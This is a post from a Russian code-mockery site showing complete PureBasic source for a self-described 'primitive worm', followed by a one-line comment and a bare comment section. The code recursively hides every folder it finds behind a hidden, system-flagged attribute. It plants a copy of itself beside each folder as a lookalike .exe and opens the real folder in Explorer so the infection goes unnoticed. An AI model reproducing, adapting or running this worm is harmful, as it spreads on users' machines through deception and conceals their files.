Школоло / Говнокод #21159 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
;********************************************************************
;* Примитивный червь. Распространяется, подменяя собой папки.       *
;* Для компиляции в среде PureBasic 5.30                            *
;* Автор не несет ответственности за Ваши действия с этим кодом.    *
;********************************************************************


Procedure Spread(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  Define.l attrs
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=path+fname
        attrs=finddata\dwFileAttributes
        ext=LCase(GetExtensionPart(fname))
        If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
          If CopyFile(ProgramFilename(), fname+".exe")
            SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
            SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
          EndIf
          Spread(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf
EndProcedure

Procedure Main()
  Define.l hm
  Define path.s
  path=ProgramFilename()
  
  path=Left(path,Len(path)-Len(GetExtensionPart(path)))
  If FileSize(path) <> -1
    ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
  EndIf
  
  hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
  If hm<>0
    CloseHandle_(hm)
  Else
    hm=CreateMutex_(0,#True,@"mutexname")
    spread(GetCurrentDirectory())
  EndIf
EndProcedure

Main()

Студенты извращаются.

Запостил: fajes_rown fajes_rown, (Updated )

Комментарии (77) RSS

Добавить комментарий

Переведи на "PHP", guest!

    А не использовать ли нам bbcode?


    8